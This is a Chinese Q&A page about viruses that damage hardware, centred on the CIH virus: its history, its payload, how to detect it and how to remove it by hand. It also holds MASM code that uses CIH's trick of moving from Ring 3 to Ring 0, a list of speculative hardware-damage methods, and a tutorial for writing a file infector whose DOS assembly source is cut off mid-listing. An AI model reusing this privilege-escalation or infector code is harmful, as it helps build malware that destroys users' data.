爱问知识人 爱问教育 医院库

病毒怎样才有可能破坏到硬件

首页

病毒怎样才有可能破坏到硬件

比如主板硬盘,什么样的病毒才行

提交回答
好评回答
  • 2007-02-04 07:33:12
      到目前为止,只有1种病毒能破坏硬件
       一、CIH到底是什么病毒   
        CIH病毒属于文件型病毒,其别名有Win95。CIH、Spacefiller、Win32。CIH、PE_CIH,它主要感染Windows95/98下的可执行文件(PE格式,Portable Executable Format),目前的版本不感染DOS以及WIN 3。
      X(NE格式,Windows and OS/2 Windows 3。1 execution File Format)下的可执行文件,并且在Win NT中无效。其发展过程经历了v1。0,v1。1、v1。2、v1。3、v1。4总共5个版本,目前最流行的是v1。
      2版本,在此期间,据某些报导,同时产生了不下十个的变种,不过好象没有流行起来的迹象,本人并未实际接触到这些所谓的CIH变种病毒。 在v1。0、v1。1、v1。2、v1。3、v1。4五个版本,只有v1。2、v1。3、v1。4这三个版本的CIH病毒有实际的破坏性。
      其中v1。2版本只在每年的4月26日发作,又称为切尔诺贝利病毒(前苏联核事故纪念日);v1。3的发作日期是每年的6月26日;v1。4版本的发作日期是每月的26。CIH病毒只在Windows 95/98环境下感染发作,当运行了带毒的程序后,CIH病毒驻留内存,再运行其它。
      exe文件时,首先在文件中搜索“caves”字符,如果没有发现就立即传染。CIH病毒发作时硬盘数据、硬盘主引导记录、系统引导扇区、文件分配表被覆盖,造成硬盘数据特别是C盘数据丢失,并破坏部分类型的主板上的Flash BIOS导致计算机无法使用,是一种既破坏软件又破坏硬件的恶性病毒。
       CIH病毒的各种不同版本的随时间的发展不断完善,其基本发展历程为: CIH病毒v1。0版本:    最初的V1。0版本仅仅只有656字节,其雏形显得比较简单,与普通类型的病毒在结构上并无多大的改善,其最大的“卖点”是在于其是当时为数不多的、可感染Microsoft Windows PE类可执行文件的病毒之一,被其感染的程序文件长度增加,此版本的CIH不具有破坏性。
          CIH病毒v1。1版本:   当其发展到v1。1版本时,病毒长度为796字节,此版本的CIH病毒具有可判断Win NT软件的功能,一旦判断用户运行的是Win NT,则不发生作用,进行自我隐藏,以避免产生错误提示信息,同时使用了更加优化的代码,以缩减其长度。
      此版本的CIH另外一个优秀点在于其可以利用WIN PE类可执行文件中的“空隙”,将自身根据需要分裂成几个部分后,分别插入到PE类可执行文件中,这样做的优点是在感染大部分WINPE类文件时,不会导致文件长度增加。    CIH病毒v1。
      2版本:    当其发展到v1。2版本时,除了改正了一些v1。1版本的缺陷之外,同时增加了破坏用户硬盘以及用户主机BIOS程序的代码,这一改进,使其步入恶性病毒的行列,此版本的CIH病毒体长度为1003字节。    CIH病毒v1。
      3版本:    原先v1。2版本的CIH病毒最大的缺陷在于当其感染ZIP自解压包文件(ZIP self-extractors file)时,将导致此ZIP压缩包在自解压时出现:   WinZip Self-Extractor header corrupt。
          Possible cause: disk or file transfer error。 的错误警告信息。v1。3版本的CIH病毒显得比较仓促,其改进点便是针对以上缺陷的,它的改进方法是: 一旦判断开启的文件是WinZip类的自解压程序,则不进行感染。
      同时,此版本的CIH病毒修改了发作时间。v1。3版本的CIH病毒长度为1010字节。    CIH病毒v1。4版本: 此版本的CIH病毒改进上上几个版本中的缺陷,不感染ZIP自解压包文件,同时修改了发作日期及病毒中的版权信息(版本信息被更改为:“CIH v1。
      4 TATUNG”,在以前版本中的相关信息为“CIH v1。x TTIT”),此版本的长度为1019字节。    从上面的说明中,我们可以看出,实际上,在CIH的相关版本中,只有v1。2、v1。3、v1。4这3个版本的病毒具有实际的破坏性,其中v1。
      2版本的CIH病毒发作日期为每年的4月26日,这也就是当前最流行的病毒版本,v1。3版本的发作日期为每年的6月26日,而CIH v1。4版本的发作日期则被修改为每月的26日,这一改变大大缩短了发作期限,增加了其的破坏性。    二、CIH病毒发作时所产生的破坏性:    CIH属恶性病毒,当其发作条件成熟时,其将破坏硬盘数据,同时有可能破坏BIOS程序,其发作特征是:    1、以2048个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘数据被全部破坏为止。
      最坏的情况下硬盘所有数据(含全部逻辑盘数据)均被破坏,如果重要信息没有备份,那就只有哭了!    2、某些主板上的Flash ROM中的BIOS信息将被清除。    三、感染CIH病毒的特征:    由于流行的CIH病毒版本中,其标识版本号的信息使用的是明文,所以可以通过搜索可执行文件中的字符串来识别是否感染了CIH病毒,搜索的特征串为“CIH v”或者是“CIH v1。
      ”如果你想搜索更完全的特征字符串,可尝试“CIH v1。2 TTIT”、“CIH v1。3 TTIT”以及“CIH v1。4 TATUNG”,不要直接搜索“CIH”特征串,因为此特征串在很多的正常程序中也存在,例如程序中存在如下代码行:   inc bx   dec cx   dec ax   则它们的特征码正好是“CIH(0x43;0x49;0x48)”,容易产生误判。
         具体的搜索方法为:首先开启“资源管理器”,选择其中的菜单功能“工具→查找→文件或文件夹”,在弹出的“查找文件”设置窗口的“名称和位置”输入中输入查找路径及文件名(如:*。EXE),然后在“高级→包含文字”栏中输入要查找的特征字符串——“CIH v”,最后点取“查找键”即可开始查找工作。
      如果在查找过程中,显示出一大堆符合查找特征的可执行文件,则表明您老的计算机上已经感染了CIH病毒。   实际上,在以上的方法中存在着一个致命的缺点,那就是:如果用户刚刚感染CIH病毒,那么这样一个大面积的搜索过程实际上也是在扩大病毒的感染面。
      一般情况下,推荐的方法是先运行一下“写字板”软件,然后使用上面的方法在“写字板”软件的可执行程序Notepade。exe中搜索特征串,以判断是否感染了CIH病毒。   另外一个判断方法是在Windows PE文件中搜索IMAGE_NT_SIGNATURE字段,也就是0x00004550,其代表的识别字符为“PE00”,然后查看其前一个字节是否为0x00,如果是,则表示程序未受感染,如果为其他数值,则表示很可能已经感染了CIH病毒。
         最后一个判断方法是先搜索IMAGE_NT_SIGNATURE字段——“PE00”,接着搜索其偏移0x28位置处的值是否为55 8D 44 24 F8 33 DB 64,如果是,则表示此程序已被感染。   还听说凡是感染了CIH病毒的机器,如果玩NEED FOR SPEED II游戏时,会在读取游戏光盘时出现死机现象,本人没有尝试过,不知道实际上是不是有这一情况存在。
         适合高级用户使用的一个方法是直接搜索特征代码,并将其修改掉,方法是:先处理掉两个转跳点,即搜索:5E CC 56 8B F0 特征串以及5E CC FB 33 DB特征串,将这两个特征串中的CC改为90(nop),接着搜索 CD 20 53 00 01 00 83 C4 20 与 CD 20 67 00 40 00 特征字串,将其全部修改为90,即可(以上数值全部为16进制)。
         另外一种方法是将原先的PE程序的正确入口点找回来,填入当前入口点即可(此处以一个被感染的CALC。EXE程序为例),具体方法为:先搜索IMAGE_NT_SIGNATURE字段——“PE00”,接着将距此点偏移0x28处的4个字节值,例如“A0 02 00 00”(0x000002A0),再由此偏移所指的位置(即0x02A0)找到数据“55 8D 44 24 F8 33 DB 64”,并由0X02A0加上0X005E得到0x02FE偏移,此偏移处的数据例如为“CB 21 40 00”(OXOO4021CB),将此值减去OX40000,将得数——“CB 21 00 00”(OXOO0021CB)值放回到距“PE00”点偏移0x28的位置即可(此处为Windows PE格式程序的入口点,术语称为Program Entry Point)。
      最后将“55 8D 44 24 F8 33 DB 64”全部填成“00”,使得我们容易判断病毒是否已经被杀除过。   按照上面手工杀毒的方法一般适合于某些单独的软件(例如某些软件包含在软盘中,却被感染了CIH不读,可现在就要用,呵呵!)。
      使用上述方法的缺点在于病毒体还将保留在可执行文件中,虽然不会起作用,但是想起来可能会有点不舒服(记得“WPS2000测试版残留CIH病毒尸体”的事件么?)。所以,想彻底杀灭,推荐使用某些反病毒软件进行(以上操作以及使用反病毒软件进行杀毒,必须使用干净的系统盘启动计算机)。
          四、病毒已经发作了,该怎么办? 如果病毒已经发作,那就得看您老的运气了,一种情况是硬盘数据被破坏,在这种情况下,可能出现计算机能够使用软盘启动,但是一旦试图访问硬盘,就出现无法访问或者是访问出错或者是可以访问硬盘,但是列出一大堆无意义的信息。
         修复硬盘   就目前掌握的情况来看,除C:以外的其他逻辑分区可以被完全修复(这得看它破坏到哪里了,一般发作的症状是硬盘转个不停,总不会有人白痴到让它写完了主分区再写完逻辑分区后才关机吧,另外备注一下:根据本人手头的程序显示,CIH标准版本在破坏上的确是进行顺序写入垃圾数据,完全破坏硬盘信息的,可听说某些只写5M或者是类似的数据,是否是CIH的派生版本不得而知),而是否能修复C:则得看实际破坏程度了,总之一句话,看你的运气啦!   CIH病毒破坏了主引导扇区和硬盘分区表,使得硬盘上的数据无法访问。
      只要重建主引导扇区、重新恢复分区表,就用恢复数据的可能。但是CIH病毒对C盘的破坏要比以往的引导型病毒严重,C盘的文件分配表基本不可能恢复。对于其它逻辑盘,可以用一些工具进行恢复。一些反病毒软件公司推出了修复工具,但也不是百分之百的有效。如果你的硬盘上有重要数据,最好不要轻易动手,请专业人员修复。
         修复主板   另外一种情况是除了硬盘数据损坏之外,其主板上的Flash ROM中的BIOS程序也被破坏,这一情况又得分成两大类,得视你的损坏情况以及主板的构造而定:   一是全部损坏,那就惨了,机器变成了黑脸的哑巴,连叫都不会叫了,这一故障只有重新写一遍BIOS,写入的方法一般是使用兼容Flash ROM的“烧录器”,这玩意实际上也不复杂,一个电子爱好者随便弄块8255之类的便宜芯片就能捣起来(一般配合PC等计算机使用)。
      如果您机器主板上的Flash ROM是安装在插座上的,则推荐将其锹下来,然后找人帮忙给再写一块(一般情况下你很有可能需要一块包含有相同或者近似版本BIOS的其他ROM芯片,可尝试找朋友借)。   如果你那边实在是找不到有“烧录器”的地方,则如果你手头有一些类似用于主板BIOS升级的文件盘,同时你能借的到相同的BIOS芯片,也可以先将借来的BIOS ROM芯片插在你的BIOS ROM插座上(记得先把带病毒的硬盘拔了),然后尝试使用干净DOS盘启动(只需要启动基本DOS系统即可,不要挂其他的驱动程序),启动完成后,就要开始尝试危险的热插拔工作,即:将借来的BIOS ROM拔掉,换上数据损坏的Flash Rom,然后启动主板BIOS升级的软件进行写入工作。
      (备注:此方法中所使用的热插拔乃电子界的大忌,如果造成任何损失,本人概不负责)。   二是基本启动部分未出现损坏,这一情况的特征为可能机器不能正常启动,但是还有一些启动的感觉,例如它居然还能够出现检测软盘的动作(要保证能够由软盘启动计算机),这一情况比较幸福,在这种情况下,基本BIOS还能运行,但是由于其一般只支持IDE接口的显示卡,则可能你的屏幕上不会有任何的显示信息。
      在这一情况下,则必须使用“黑灯瞎火”法,它的原理也就是类似BIOS升级等的操作,它要求我们手头必须有能用的一些BIOS升级程序软件,然后我们在他人的机器上先制作一张DOS启动盘,并将升级操作所需要运行的命令行放在 t文件中,然后拿这张软盘到被CIH病毒破坏的机器上启动,接着的一些如“回车”、按上下方向键等的操作就要“摸黑”进行了。
      如果幸运的话,按以上步骤操作,您的机器就被救活了。   三是惨得一塌糊涂,以上方法都不适用,则推荐你们去问问销售商能不能帮你们解决,这也没办法!    五、CIH病毒疫苗    去年秋天,CIH病毒的制造者在SSCAN防病毒软件作者的帮助下编写了一个CIH病毒的免疫程序,该程序安装后可确保不受CIH病毒的侵袭。
         因为该程序没有查毒或杀毒功能,在安装前必须先用杀毒工具检查一下硬盘,在确认没有CIH病毒的前提下,在Windows 95/98环境下安装(CIH病毒只在此环境下才发作),安装完后系统会自动重新启动,这时电脑已经有免疫能力,即使是运行含有CIH病毒的软件,也不会感染,直到你重新安装Windows 95/98系统。
         它的原理是这样的:每次开机时,系统就会立即自动执行cih。exe程序,运行的结果只是在系统的一个暂存器DR0中做一个记号,程序并不驻留内存,也不会与其它杀毒软件冲突,自身也不会被感染。这之后如果运行了带CIH病毒的程序,CIH病毒也不会驻进内存(CIH病毒在驻留内存前先判断DR0暂存器,免疫程序已经做了记号),也不会感染和发作了。
         安装了免疫程序后虽然可以免遭CIH病毒的侵袭,但是从安装了免疫程序的电脑上拷贝带有CIH病毒的文件到其它未安装免疫程序的电脑上时,只要一运行这个文件就会感染上CIH病毒,因此安装免疫程序并不是最好的方法。    六、CIH病毒大事记(摘自《中国计算机的》)    1998年6月2日:首例CIH病毒在中国台湾被发现。
          1998年6月6日:首例CIH病毒样品抵达DF反病毒实验室。    1998年6月6日:CIH病毒1。2版本出笼并为FSAV反病毒机构跟踪。    1998年6月12日:CIH病毒1。3版本出笼并为FSAV反病毒机构跟踪。
          1998年6月26日:CIH病毒1。3版本首次发作,但危害较小。    1998年6月30日:CIH病毒1。4版本出笼并为FSAV反病毒机构跟踪。    1998年7月:CIH病毒通过受感染的盗版软件在网上传播。
          1998年8月:“飞行大队长”游戏软件演示版受CIH病毒感染。    1998年8月:欧洲两种游戏杂志发送受CIH病毒感染的CD-ROM。    1998年8月26日:CIH病毒1。4版发作,媒体予以广泛关注。
          1998年9月:YAMAHA公司发送第一批受CIH病毒感染的CD-ROM软件。    1998年10月:广为流传的SiN游戏软件演示版受CIH感染。    1999年3月:CIH病毒1。2版侵入IBM公司Aptiva型计算机。
          1999年4月26日,CIH病毒1。2版首次发作,计算机业损失巨大。    。

    o***

    2007-02-04 07:33:12

其他答案

    2007-02-05 07:38:28
  • 目前可以破坏硬件的病毒方式有:破坏BOIS的自检程序使主板报废,或使硬件超常负荷工作,损坏硬件。

    泽***

    2007-02-05 07:38:28

  • 2007-02-04 07:37:44
  •   原来有个CIH病毒发作时不仅破坏硬盘的引导区和分区表,而且破坏计算机系统flashBIOS芯片中的系统程序,导致主板损坏,是发现的首例直接破坏计算机系统硬件的病毒。 
    CIH病毒的由来 
    CIH首先在台湾被发现,根据台北官方的报告,计算机病毒是由24岁的陈盈豪(Chen Ing-Halu)编制的,由于其名字第一个字母分别为C、I、H,所以这可能是计算机病毒名称的由来。
       -------------------------------------------------------------------------------- CIH病毒的简介 它是迄今为止发现的最阴险的病毒之一。它发作时不仅破坏硬盘的引导区和分区表,而且破坏计算机系统flashBIOS芯片中的系统程序,导致主板损坏。
      CIH病毒是发现的首例直接破坏计算机系统硬件的病毒。 -------------------------------------------------------------------------------- CIH病毒的发展历程 CIH病毒v1。
      0版本: 最初的V1。0版本仅仅只有656字节,其雏形显得比较简单,与普通类型的病毒在结构上并无多大的改善,其最大的"卖点"是在于其是当时为数不多的、可感染Microsoft Windows PE类可执行文件的病毒之一, 被其感染的程序文件长度增加,此版本的CIH不具有破坏性。
       CIH病毒v1。1版本: 当其发展到v1。1版本时,病毒长度为796字节,此版本的CIH病毒具有可判断WinNT软件的功能,一旦判断用户运行的是WinNT,则不发生作用,进行自我隐藏,以避免产生错误提示信息,同时使用了更加优化的代码,以缩减其长度。
      此版本的CIH另外一个优秀点在于其可以利用WIN PE类可执行文件中的"空隙",将自身根据需要分裂成几个部分后,分别插入到PE类可执行文件中,这样做的优点是在感染大部分WINPE类文件时, 不会导致文件长度增加。 CIH病毒v1。2版本: 当其发展到v1。
      2版本时,除了改正了一些v1。1版本的缺陷之外,同时增加了破坏用户硬盘以及用户主机 BIOS程序的代码,这一改进,使其步入恶性病毒的行列,此版本的CIH病毒体长度为1003字节。 CIH病毒v1。3版本: 原先v1。2版本的CIH病毒最大的缺陷在于当其感染ZIP自解压包文件(ZIP self-extractors file)时,将导致此ZIP压缩包在自解压时出现: WinZip Self-Extractor header corrupt。
       Possible cause: disk or file transfer error。 的错误警告信息。v1。3版本的CIH病毒显得比较仓促,其改进点便是针对以上缺陷的,它的改进方法是:一旦判断开启的文件是WinZip类的自解压程序,则不进行感染。
      同时,此版本的CIH病毒修改了发作时间。v1。3 版本的CIH病毒长度为1010字节。 CIH病毒v1。4版本: 此版本的CIH病毒改进上上几个版本中的缺陷,不感染ZIP 自解压包文件,同时修改了发作日期及病毒中的版权信息(版本信息被更改为:"CIH v1。
      4 TATUNG",在以前版本中的相关信息为"CIH v1。x TTIT"),此版本的长度为1019字节。 从上面的说明中,我们可以看出,实际上,在CIH的相关版本中,只有v1。2、v1。3、v1。4这3 个版本的病毒具有实际的破坏性,其中v1。
      2版本的CIH病毒发作日期为每年的4月26日,这也就是当前最流行的病毒版本,v1。3 版本的发作日期为每年的6月26日,而CIH v1。4版本的发作日期则被修改为每月的26日,这一改变大大缩短了发作期限,增加了其的破坏性。 -------------------------------------------------------------------------------- CIH的特征和行踪 来自权威部门的消息说,CIH是一个纯粹的Windows95/98病毒,这个病毒很独特地使用了 WindowsVxD(虚拟设备驱动程序)技术;该病毒发作时,硬盘一直转个不停,所有数据都被破坏,硬盘分区信息也将丢失;再有就是 CIH病毒发作时也可能会破坏某些类型的主板上的电可改写只读存储器(E2PROM)的BIOS。
      BIOS即电脑中的"基本输入/输出系统", 存放的是系统最基本的硬件参数和驱动程序,一旦被破坏则系统根本无法启动,唯一的修复途径就是送回厂家重新烧入BIOS。此时如果用户不想送回厂家"重烧",而使用BIOS升级软件重新烧入BIOS,升级软件将报告"E2PROM型号不对"的错误。
      这就是说, CIH病毒已具备了对硬件的相当破坏能力,它可以彻底摧毁计算机。 一般用户都知道,传统意义上的病毒破坏的是数据而非硬件。因此,经常进行数据备份与软件更新,能够一定程度上防止数据文件被病毒破坏,而且即使文件被传染病毒,也可使用反病毒软件加以清除,至少可以尽最大可能恢复系统。
      防病毒专家认为,威胁到计算机硬件的 CIH的出现,意味着病毒与反病毒的技术较量已开始发生质的改变。 "根据初步跟踪分析,CIH病毒是从海外传入内地的"北京冠群金辰软件有限公司反病毒专家王铁肩介绍说: "目前该病毒的传播主要通过互联网和电子邮件,当然随着时间的推移,其传播主要还是通过软盘或光盘。
      "据权威病毒搜集网获得的信息, CIH病毒"原体"加"变种"一共有五种,它们的相互区别在于"原体"会使受感染文件增长,但不具破坏力;而"变种"不增长受感染文件,但有很强的破坏性,它们的发作时间分别为 4月26日、 6月26日和每月的26日。 -------------------------------------------------------------------------------- CIH 病毒原理的应用--物理内存的读写 Windows 95/98应用程序无法直接读写物理内存,如果使用VxD编程,可以调用VMM功能_MapPhysToLinear 将物理地址映射到线性地址再进行修改,但是这样就必须单独写一个VxD,比较麻烦,那么能不能在应用程序中直接调用VMM功能呢?一般不能,因为VMM功能要在Ring 0上调用,而一般的应用程序工作在Ring 3上,那么为什么CIH 病毒能够调用VMM功能呢,CIH病毒使用了一种技术,采用Intel处理器的中断从Ring 3转到Ring 0,我们完全可以借鉴这种技术来调用VMM功能, 下面的程序演示了如何修改物理内存--以在Windows 95加密程序中修改加密扇区大小(物理地址0000:0525H)为例: ;**************************************************************************** ;* Windows 95加密软件核心模块之一--磁盘扇区大小修改程序 * ;* * ;* 本程序在Windows 95下修改内存物理地址0000:0525 处的磁盘扇区大小字节, * ;* 为了能够修改物理地址,本程序使用了VMM 功能_MapPhysToLinear将物理地址映射 * ;* 到线性地址进行修改。
      为了在应用程序中调用VMM 功能,本程序使用了CIH 病毒的 * ;* 原理,使用中断将系统由Ring 3转到Ring 0,然后调用VMM 功能。 * ;* 本程序中的过程ChangeSectorSize在VC中的原型可以写成: * ;* * ;* void _stdcall ChangeSectorSize(BYTE SectorSize); * ;**************************************************************************** 。
      386p 。model flat,stdcall ;修改的中断号,如果本中断号改成3则可以防止Soft-ICE跟踪! HookExceptionNo EQU 05h 。data IDTR_1 db 6 dup(0) ;保存中断描述符表寄存器 OldExceptionHook dd 0 ;保存原先的中断入口地址 。
      code ;修改扇区大小过程 ChangeSectorSize PROC SectorSize:BYTE push eax ;获取修改的中断的中断描述符(中断门)地址 sidt IDTR_1 mov eax,dword ptr IDTR_1+02h add eax,HookExceptionNo*08h+04h cli ;保存原先的中断入口地址 push ecx mov ecx,dword ptr [eax] mov cx,word ptr [eax-04h] mov dword ptr OldExceptionHook,ecx pop ecx ;设置修改的中断入口地址为新的中断处理程序入口地址 push ebx lea ebx,NewExceptionHook mov word ptr [eax-04h],bx shr ebx,10h mov word ptr [eax+02h],bx pop ebx ;执行中断,转到Ring 0(与CIH 病毒原理相似!) push ebx mov bl,byte ptr SectorSize ;扇区大小保存在bl寄存器中 int HookExceptionNo pop ebx ;恢复原先的中断入口地址 push ecx mov ecx,dword ptr OldExceptionHook mov word ptr [eax-04h],cx shr ecx,10h mov word ptr [eax+02h],cx pop ecx ;修改扇区大小过程结束 sti pop eax ret ChangeSectorSize ENDP ;新的中断处理程序 NewExceptionHook PROC push eax push ebx push ecx push edx push esi ;修改扇区大小 push dword ptr 00000000h ;必须为0 push dword ptr 00000001h ;字节数 push dword ptr 00000525h ;物理地址0000:0525 int 20h dd 0001006ch ;以上两条指令相当于 VMMCall _MapPhysToLinear pop esi pop esi pop esi mov byte ptr [eax],bl ;修改扇区大小 ;中断处理程序结束 pop esi pop edx pop ecx pop ebx pop eax iretd NewExceptionHook ENDP end 本过程可以被C语言调用,编译方法:ml /c /coff m。
      请用MASM 6。11以上版本编译,不需要DDK。将编译生成的OBJ文件插入VC的工程中,并在VC程序中写上函数原型说明,就可以调用了。 -------------------------------------------------------------------------------- 病毒是怎样破坏硬件的 最近,CIH病毒把大家搞得人心惶惶,掀起了不小的波澜。
      以前的各种病毒最多只能破坏硬盘数据,而CIH 却能侵入主板上的Flash BIOS,破坏其内容而使主板报废。CIH的教训告诉我们:不要轻视病毒对硬件的破坏。 很多人现在已经开始担忧:CIH越来越凶猛,同时会不会有更多的破坏硬件的病毒出现? 其实,本人分析了一下。
      病毒破坏硬件的"手段",不外乎有以下几种: 1。破坏显示器 众所周知,每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频;目前的14英寸彩色显示器,带宽大都有60MHz,对应的最高分辨率为1024×768@75Hz场频;15英寸彩色显示器(高档的),带宽有110MHz,对应的最高分辨率为1280×1024@85Hz场频。
      大家可以查看一下显示器的说明书,上面都有场频与最高分辨率的配合。若其中有一项超过,就会出现花屏,严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器(如把分辨率、场频改到显卡能支持的最高档等)。虽然新型显示器有DDC标准化与系统联络,但病毒想钻空子并不难。
      所以大家如果发现在使用过程中显示器出现了花屏, 要立即关掉显示器的电源,重新启动后进入安全模式再找原因。 2。超外频、加电压破坏CPU、显卡、内存等 目前新型主板采用"软跳线"的越来越多,这正好给病毒以可乘之机。所谓"软跳线" 是指在BIOS中就能改动CPU的电压、外频和倍频。
      病毒可以通过改BIOS参数,加高CPU电压使其过热而烧坏,或提高CPU的外频,使CPU和显卡、内存等外设超负荷工作而过热烧坏。这类事件的前兆就是死机。所以,如果发现机器经常死机,就要赶紧到 CMOS中看看以上参数是否有改动。可喜的是,目前很多新出的主板都有CPU温度监测功能,超温后立即降频报警,可以基本杜绝烧坏硬件的情况发生。
       3。超"显频"破坏显卡 目前很多中高档显卡如Voodoo等都可以手动改变其芯片的频率,并且改的方法更简单:在Windows 9x注册表里改。病毒改动了"显频",显卡也就容易超负荷工作而烧坏。这种事件的前兆也是死机。所以,死机时也不要忽视对"显频"的检查。
      另外还有一种减少烧坏显卡的可能性的办法,那就是……(什么?你已经安了两个风扇了!?) 4。破坏光驱 光驱中的光头在读不到信号时就会加大激光发射功率,这样长期下去对光驱的寿命极为不利。有人做实验,让正常的光驱不停的读取一张划痕很多,信号较弱的光盘,28小时以后光驱就完蛋了。
      病毒可以让光头走到盘片边缘无信号区域不停的读盘,结果光头读不到信号,便加大发射功率不停地读,要不了几天,光驱就要"No Disc"了。 所以要经常注意光驱灯的闪亮情况,判断光驱是否在正常工作。 5。破坏主板、显卡的Flash BIOS 这就是现在的CIH病毒破坏主板的方式。
      病毒用乱码冲掉了BIOS中的内容,使机器不能启动。 不过现在很多主板都有带有Flash BIOS写保护跳线,可以有效的防止CIH病毒破坏主板。但是不要忘了,很多显卡也有Flash BIOS, 说不定哪一天就会冒出一种破坏显卡BIOS的病毒。所以还是小心一点为好,这可没有什么特效药啊! 6。
      破坏硬盘 大家都知道,分区、高级格式化对硬盘都没有什么损伤,惟独低级格式化对硬盘的寿命有较大的影响。据说硬盘做上10次低级格式化就会报废。如果出现一种病毒,不停的对硬盘的0磁道做低格式化(做10次最多只需用几秒钟!),0道坏了再做1道……你的硬盘容量就会一点一点(这一点好不小啊!)地被蚕食,而且0、1、2……道坏了,要想再使用该硬盘,就得在BIOS中重新设定起始磁道,再低级格式化,非常麻烦。
      其实,该病毒有一个非常简单而有效的预防方法,那就是将BIOS中的Boot Sector Virus Protection(引导区病毒写保护)设为Enable(打开)。笔者做过实验,将上述开关打开的情况下,使用各种低级格式化软件(包括BIOS中自带的)对硬盘进行低格,BIOS都会报警(报告说有程序企图重写引导区,问是否继续),按N就可以防止。
      要知道BIOS程序掌管着系统的最高控制权, 应该没有什么东西可以冲破其防线(你按Y是另外一回事)。若发现上述情况,赶紧Reset,然后进行杀毒不过,如果你是在装Win 98等操作系统或System Commander等软件时碰到该情况,就大可不必理会它,困为这些软件安装时都有要重写引导区。
      不过劝你安装这些软件时最好先把写保护关掉,否则容易出现死机现象! 7。浪费喷墨打印机的墨水喷墨打印机的喷头特别容易堵塞,为此打印机公司特别发明了专门浪费墨水的"清洗喷头"功能,即让大量墨水冲出喷头,清除杂物。这项功能可以用软件控制实现,于是乎病毒便神不知鬼不觉的一次次调用该功能,而你却对打印机的呻吟声却听而不见。
      当你发现时,大量的墨已经被浪费了。这种病毒唯一的预防办法就是……不用打印机时把打印机关了。其实,只要你常注意一下打印机上的模式灯就可以了,清洗喷头时它通常是一闪闪的。另外还要仔细倾听它的呻吟声,清洗喷头时打印头总是要来回走动几下的(为了加热)。
       一口气写了7条,其实大家心里明白,破坏硬件的歪点子多着呢!本文只是想为刚从CIH阴影中爬出的朋友提个醒:成功之路千万条(当然是编病毒者的成功),打死CIH,还有后来者。千万要发扬各种精神, 保护你的血汗钱筑成的电脑!另外,本文中几乎每一条都有附预防办法(虽然有些看起来像废话),但这些办法也不是万能的(还要注意不能顾此失彼),以后谁的"鸡"若被新病毒搞坏了,我可不负责任哟! CIH是使用什么方法进行感染的? 就技巧而言,其原理主要是使用Windows的VxD(虚拟设备驱动程序)编程方法,使用这一方法的目的是获取高的CPU权限,CIH病毒使用的方法是首先使用SIDT取得IDT base address(中断描述符表基地址),然后把IDT的INT 3的入口地址改为指向CIH自己的INT3程序入口部分,再利用自己产生一个INT 3指令运行至此CIH自身的INT 3入口程序 出,这样CIH病毒就可以获得最高级别的权限(即权限0),接着病毒将检查DR0寄存器的值是否为0,用以判断先前是否有CIH病毒已经驻留。
      如DR0的值不为0,则表示CIH病毒程式已驻留,则此CIH副本将恢复原先的INT 3入口,然后正常退出(这一特点也可以被我们利用来欺骗CIH程序,以防止它驻留在内存中,但是应当防止其可能的后继派生版本)。如果判断DR0值为0,则CIH病毒将尝试进行驻留,其首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD call Page Allocate系统调用,要求分配Windows系统内存(system memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域, 如果程序想长期驻留在内存中,则必须申请到此区段内的内存,即申请到影射地址空间在C0000000h以上的内存。
       如果内存申请成功,则接着将从被感染文件中将原先分成多段的病毒代码收集起来,并进行组合后放到申请到 的内存空间中,完成组合、放置过程后,CIH病毒将再次调用INT 3中断进入CIH病毒体的INT 3入口程序,接着调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,用来在文件系统处理函数中挂接钩子,以截取 文件调用的操作,接着修改IFSMgr_InstallFileSystemApiHook的入口,这样就完成了挂接钩子的工作,同时Windows默认的IFSMgr_Ring0_FileIO(InstallableFileSystemManager,IFSMgr)。
      服务程序的入口地址将被保留,以便于CIH病毒调用,这样,一旦出现要求开启文件的调用,则CIH将在第一时间截获此文件,并判断此文件是否为PE格式的可执行文件,如果是,则感染,如果不是,则放过去,将调用转接给正常的Windows IFSMgr_IO服务程序。
      CIH 不会重复多次地感染PE格式文件,同时可执行文件的只读属性是否有效,不影响感染过程,感染文件后,文件的日期与时间信息将保持不变。对于绝大多数的PE程序,其被感染后,程序的长度也将保持不变,CIH 将会把自身分成多段,插入到程序的空域中。
      完成驻留工作后的CIH病毒将把原先的IDT中断表中的INT 3入口恢复成原样。 病毒的编写是一种高深技术,真正的病毒一般都具有:传染性、隐藏性(又称潜伏性)、破坏性。现在的病毒种类也不少,如平常的传染可执行文件的病毒、宏病毒等等。但原始的、破坏性最大的病毒还是传染可执行文件的病毒(像CIH病毒),而这些病毒一般都是用汇编语言编写的。
      有许多人对病毒有着好奇和向往,但是往往又因为汇编语言的难学等问题望而却步。 这篇文章就是教给大家如何制作一个简单的程序,这个程序虽然算不上病毒但是具有病毒的传染性,而往往病毒的传染性是平常人最难做到的。 好啦,现在转入正题,先讲讲病毒是如何传染的,传染后又如何在被染的文件中执行的,其实道理非常简单:病毒一般将其代码写入执行文件的尾部,然后使执行文件在执行时先执行文件尾部的病毒代码,然后再跳回原代码处执行。
      现在举一个试例进行说明: ;----------------------------------------- ;功能:感染当前文件夹的 文件 ; 并删除当前文件夹的del。
      txt文件 ; 显示预设的字符串 CSEG SEGMENT ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart: CALL vstart ;病毒的代码开始处 vstart: POP SI ;得到当前地址 MOV BP,SI ;保存当前地址 PUSH SI MOV AH,9 ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 MOV DX,SI INT 21h POP SI ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节 MOV DI,100h ;目的地址 MOV AX,DS:[SI] ;开始复制 MOV DS:[DI],AX INC SI INC SI INC DI INC DI MOV AX,DS:[SI] MOV DS:[DI],AX MOV SI,BP ;恢复地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOV AL,02 MOV AH,3dh ;写文件 INT 21h JC error MOV BX,AX ;文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 ADD DX,SI MOV CX,4 MOV 